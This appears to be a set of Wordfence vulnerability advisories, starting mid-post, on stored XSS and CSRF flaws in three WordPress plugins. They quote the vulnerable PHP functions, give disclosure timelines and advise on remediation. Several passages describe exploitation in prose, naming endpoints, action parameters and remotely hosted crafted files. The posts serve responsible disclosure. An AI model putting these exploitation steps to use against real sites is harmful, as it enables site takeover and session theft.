add_action('admin_post_nopriv_c37_wpl_import_template', array($this, 'c37_wpl_import_template'));

Additionally, the function called by this action lacked nonce or capability checks:

    public function c37_wpl_import_template()
    {
        if (isset($_FILES))
        {
            foreach($_FILES['files_name']['tmp_name'] as $tmpFile)
            {
                Template_Manager::importTemplateFromString(file_get_contents($tmpFile));
            }
        }

        wp_redirect($_POST['request_url'] . '&import=success');
    }

As such, it was possible for an unauthenticated attacker to upload a template by sending a $_POST request to wp-admin/admin-post.php, with the action parameter set to c37_wpl_import_template and a files_name[] parameter containing a maliciously crafted template file. If a site owner with a licensed copy of the plugin used this imported template to create a page, the malicious JavaScript would execute in their browser, potentially leading to site takeover.

As mentioned previously, none of the functions in this plugin use nonce checks, so it is possible for an attacker to perform any action that the plugin is capable of by tricking an administrator into clicking a specially crafted link designed to perform that action. This includes all the capabilities described above, including adding pages to the site, replacing site content with malicious JavaScript, and more.

What should I do?

This is an unusual situation in that the plugin has not yet been fully patched. It is still vulnerable to a CSRF attack. Additionally, firewalls (including the Wordfence Web Application Firewall) cannot protect a site against a CSRF attack as these attacks look like valid requests to your site. If you manage a site with this plugin installed, this means that the security of your site is precariously in your hands, and the hands of anyone with administrator rights to your site. CSRF attacks require the victim’s participation, usually by clicking a crafted link in an email. If this plugin is absolutely critical to your site’s functionality, we urge you to upgrade to the latest available version and exercise extreme caution when visiting any links, especially those sent to you in email messages. If you’re not actively using this plugin, we recommend disabling it and removing it until a more complete patch is available.

Disclosure Timeline

March 3, 2020 – Wordfence Threat Intelligence discovers and analyzes vulnerabilities in the WP Lead Plus X plugin.
March 4, 2020 – Firewall rule released for Wordfence Premium users. Initial outreach to plugin developer.
March 12, 2020 – Followup with developer as no response was received. Developer confirms appropriate inbox for handling discussion. Full disclosure of vulnerabilities is sent.
March 15, 2020 – Plugin developer releases initial patch including capability checks.
March 16, 2020 – Followup with developer as patched version is still vulnerable to CSRF. Developer replies that a fix for CSRF issues is forthcoming.
April 3, 2020 – Firewall rule becomes available to Wordfence free users.

Conclusion

In today’s post, we detailed two stored XSS vulnerabilities in the WP Lead Plus X plugin, as well as a CSRF vulnerability. The XSS flaws have been patched in version 0.99 and we recommend that users that rely on this plugin update to the latest version available immediately. The CSRF vulnerability has not yet been patched, and we recommend that users that can do so deactivate and delete this plugin until a more complete patch is available.

Sites running Wordfence Premium have been protected from attacks against the XSS vulnerabilities since March 4, 2020. Sites running the free version of Wordfence received the same firewall rule update on April 3, 2020.

A few weeks ago, our Threat Intelligence team discovered a vulnerability in Accordion, a WordPress plugin installed on over 30,000 sites. This flaw allowed any authenticated user with subscriber-level and above permissions the ability to import a new accordion and inject malicious Javascript as part of the accordion.

We initially reached out to the plugin’s developer on March 10, 2020, however, an appropriate communication channel was not established until March 18, 2020. A patch was released just 3 hours after full disclosure.

This is considered a medium-level security issue that could potentially lead to attackers completely taking over WordPress sites. We highly recommend an immediate update to the latest version available, 2.2.15.

Wordfence Premium customers received a new firewall rule on March 10, 2020, to protect against exploits targeting this vulnerability. Free Wordfence users received this rule after thirty days, on April 9, 2020.

The Accordion plugin is a relatively simple plugin used to create accordion style FAQ pages and knowledge base areas on WordPress sites. As part of the plugin’s functionality, users can import new accordions, so that accordions can be exported on one site and migrated to another or even used to restore accordion backups.

In order to provide this functionality, the plugin registers an AJAX action that is used to register the import of a JSON file and its contents as a new accordion.

add_action('wp_ajax_accordions_ajax_import_json', 'accordions_ajax_import_json');
//add_action('wp_ajax_nopriv_accordions_ajax_import_json', 'accordions_ajax_import_json');

This action is hooked to the function accordions_ajax_import_json where the data from the JSON file is extracted, analyzed, and used to create a new post with the post_type set to ‘accordions.’

function accordions_ajax_import_json(){

	$response = array();
	$json_file = isset($_POST['json_file']) ? $_POST['json_file'] : '';
	$string = file_get_contents($json_file);
	$json_a = json_decode($string,true);


	foreach ($json_a as $post_id=>$post_data){

	    $meta_fields = $post_data['meta_fields'];
		$title = $post_data['title'];

		// Create post object
		$my_post = array(
			'post_title'    => $title,
			'post_type' => 'accordions',
			'post_status'   => 'publish',

		);

		$post_inserted_id = wp_insert_post( $my_post );

		foreach ($meta_fields as $meta_key=>$meta_value){
			update_post_meta( $post_inserted_id, $meta_key, $meta_value );
        }




    }


	$response['json_a'] = $json_a;
	//$response['string'] = $string;
	//$response['json_file'] = $json_file;




	echo json_encode( $response );



	die();
}

Due to the lack of capability checks and the inherent ability of any user logged in to a WordPress site to execute AJAX actions, this meant that any authenticated user, including those with minimal permissions, could import a new accordion from a remotely hosted JSON file. Additionally, malicious Javascript could be included in the imported accordion, allowing an attacker to inject malicious code that would execute if an administrator accessed the imported accordion from the WordPress administrative dashboard. This is considered to be a Stored Cross-Site Scripting vulnerability.

Alternatively, an attacker could exploit this weakness by tricking a site owner into clicking on a link designed to import a specially crafted JSON file containing malicious Javascript.
As shown in the accordions_ajax_import_json function, the JSON file’s contents are decoded at the start of the import and later echoed at the end of a successful import causing any malicious Javascript that was contained in the file to be executed in the victim’s browser. This is considered to be a Reflected Cross-Site Scripting vulnerability.

If an attacker was able to successfully trick an administrator into accessing their maliciously uploaded accordion or clicking on a specially crafted link, they could obtain an administrative user account, redirect the site owner to a malicious site, or steal session cookies to authenticate onto the site on behalf of the administrator. This meant an attacker could completely take over a vulnerable site by exploiting these XSS flaws.

This function was also vulnerable to Cross-Site Request Forgery (CSRF) due to the lack of a WordPress nonce and corresponding verification.

Fortunately, in the most up-to-date versions of this plugin, there is a nonce and capability check present for the accordions_ajax_import_json function as shown below:

function accordions_ajax_import_json(){

	$response = array();


    $nonce = isset($_POST['nonce']) ? sanitize_text_field($_POST['nonce']) : '';
    if(wp_verify_nonce( $nonce, 'accordions_nonce' )) {

        if(current_user_can( 'manage_options' )){

            $json_file = isset($_POST['json_file']) ? $_POST['json_file'] : '';
            $string = file_get_contents($json_file);
            $json_a = json_decode($string,true);

Disclosure Timeline

March 10, 2020 – Initial discovery and analysis of vulnerability. Firewall rule was released for Wordfence Premium customers. We made our initial contact attempt with the plugin development team.
March 18, 2020 – An appropriate communication channel was established and full disclosure details were sent. Patch was released just 3 hours after disclosure.
April 9, 2020 – Free Wordfence users received firewall rule.

Conclusion

In today’s post, we detailed a flaw related to an unprotected AJAX action that allowed for malicious accordions to be imported in Accordion, a WordPress plugin. This flaw has been fully patched in version 2.2.9. We recommend that users immediately update to the latest version available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since March 10, 2020. Sites running the free version of Wordfence received this firewall rule update on April 9, 2020.

On March 12, 2020, our Threat Intelligence team discovered a stored Cross-Site Scripting (XSS) vulnerability in Widget Settings Importer/Exporter, a WordPress plugin with over 40,000 installations. This flaw allowed an authenticated attacker with minimal, subscriber-level permissions to import and activate custom widgets containing arbitrary JavaScript into a site with the plugin installed.

We reached out to the plugin vendor the same day, March 12, 2020, but have not yet received a response. On March 20, 2020, we reached out to the WordPress plugin team and sent them the full disclosure of the vulnerability, and after following up with them on April 13, 2020, the plugin has been removed from the WordPress repository. As there is no patch currently available, we highly recommend deactivating and removing this plugin.

Wordfence Premium users received a new firewall rule on March 12, 2020 to protect against exploits targeting these vulnerabilities. Free Wordfence users received this rule on April 11, 2020.

Widget Settings Importer/Exporter is a WordPress plugin that offers the ability to import and export WordPress Widgets – a WordPress feature that adds functionality to a site’s header, sidebars and footer. The plugin registers an AJAX action that is used to perform widget import:

add_action( 'wp_ajax_import_widget_data', array( __CLASS__, 'ajax_import_widget_data' ) );

As is the case with many similar vulnerabilities, the function called by the AJAX action fails to use capability checks or nonce checks. This means that any authenticated user, regardless of their permissions, can use it to import widgets into the site, including widgets containing malicious JavaScript, which would be executed in the browser of any visitor to the site.

Specifically, the ajax_import_widget_data function obtains the widget data to be imported by calling file_get_contents on the supplied import_file parameter. Most sites are configured with a setting, allow_url_fopen, that allows this function to get the contents of a remotely hosted file. This makes it possible for an attacker to import a malicious widget to the site by sending a $_POST request to wp-admin/admin-ajax.php with the action parameter set to import_widget_data, the import_file parameter set to the URL of a crafted, remotely hosted JSON file, and the widgets parameter set to describe the widget to be imported.

If the clear_current parameter is set, any currently active widgets on the site would also be removed. If the imported widget contains malicious JavaScript, it could be used to redirect site visitors to malvertising sites, or even to steal an administrator’s session, potentially leading to site takeover.

The vulnerable function:

   public static function ajax_import_widget_data() {
       $response = array(
           'what' => 'widget_import_export',
           'action' => 'import_submit'
       );

       $widgets = isset( $_POST['widgets'] ) ? $_POST['widgets'] : false;
       $import_file = isset( $_POST['import_file'] ) ? $_POST['import_file'] : false;

       if( empty($widgets) || empty($import_file) ){
           $response['id'] = new WP_Error('import_widget_data', 'No widget data posted to import');
           $response = new WP_Ajax_Response( $response );
           $response->send();
       }

       $clear_current = isset( $_POST['clear_current'] );

       if ( $clear_current )
           self::clear_widgets();

       $json_data = file_get_contents( $import_file );
       $json_data = json_decode( $json_data, true );
       $sidebar_data = $json_data[0];
       $widget_data = $json_data[1];
       foreach ( $sidebar_data as $title => $sidebar ) {
           $count = count( $sidebar );
           for ( $i = 0; $i < $count; $i++ ) {
               $widget = array( );
               $widget['type'] = trim( substr( $sidebar[$i], 0, strrpos( $sidebar[$i], '-' ) ) );
               $widget['type-index'] = trim( substr( $sidebar[$i], strrpos( $sidebar[$i], '-' ) + 1 ) );
               if ( !isset( $widgets[$widget['type']][$widget['type-index']] ) ) {
                   unset( $sidebar_data[$title][$i] );
               }
           }
           $sidebar_data[$title] = array_values( $sidebar_data[$title] );
       }

       foreach ( $widgets as $widget_title => $widget_value ) {
           foreach ( $widget_value as $widget_key => $widget_value ) {
               $widgets[$widget_title][$widget_key] = $widget_data[$widget_title][$widget_key];
           }
       }

       $sidebar_data = array( array_filter( $sidebar_data ), $widgets );
       $response['id'] = ( self::parse_import_data( $sidebar_data ) ) ? true : new WP_Error( 'widget_import_submit', 'Unknown Error' );

       $response = new WP_Ajax_Response( $response );
       $response->send();
   }

What Should I Do?

It is likely that this plugin will not be patched, so we strongly recommend deactivating and removing this plugin from your site. Plugins with similar functionality, such as Widget Importer & Exporter, are available and should be reasonably safe, though it should be considered best practice to deactivate and remove any plugins that are not actively in use.

Disclosure Timeline

March 12, 2020 – Vulnerability initially discovered and analyzed. Firewall rule released for Wordfence Premium users. Initial outreach to plugin vendor.
March 20, 2020 – We reach out to the WordPress plugins team and provide them with full disclosure.
April 11, 2020 – Wordfence free users receive firewall rule.
April 13, 2020 – We follow up with the WordPress plugins team and the plugin is removed from the WordPress repository.
April 15, 2020 – Vulnerability disclosed after more than 30 days with no response from plugin vendor.

Conclusion

In today’s post, we detailed a stored Cross-Site Scripting (XSS) vulnerability in the Widget Settings Importer/Exporter WordPress plugin. These flaws have not yet been patched, so we recommend that users deactivate and delete this plugin immediately until a patch is made available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since March 12, 2020. Sites running the free version of Wordfence received a firewall rule update on April 11, 2020.